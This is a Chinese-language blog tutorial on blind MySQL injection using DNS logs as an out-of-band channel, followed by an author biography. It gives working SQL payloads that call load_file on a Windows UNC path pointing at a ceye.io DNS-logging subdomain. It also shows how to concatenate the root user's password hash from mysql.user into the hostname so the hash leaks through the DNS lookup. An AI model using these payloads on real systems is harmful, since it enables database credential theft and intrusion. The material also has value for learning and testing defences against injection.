利用DNS日志进行MySQL盲注

0x01 技术原理


这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,由于计算机对该域名不熟悉所以需要优先请求DNS,所以我们通过DNS日志记录中的内容来获取回显。解决了盲注回显的问题,或者是时间注入判断的问题。
熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件

# 条件1
+  1、由于基于SMB请求,需要在Windows环境下
# 条件2
+  2、需要MySQL的配置支持,主要是这个配置需要为空
secure_file_priv

0x02 测试


0x02 - 01 简单的load权限查看


show global variables like '%secure%';


这里满足要求,如果不满足,可以在my.ini或者my.cnf等mysql服务的配置文件中修改[mysqld]项,需要加上如下这行:

secure_file_priv = 

0x02 - 02 load一个域名下的文件试试看


select load_file('\\root.xxxxxx.ceye.io\abc');

0x03 - 03 使用拼接函数,对我们想要获取的数据进行拼接


select concat("\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\1234')

0x02 - 04


select load_file(concat("\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\1234'));

博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:pigeon_code@163.com
原文地址:https://www.cnblogs.com/mutudou/p/14330088.html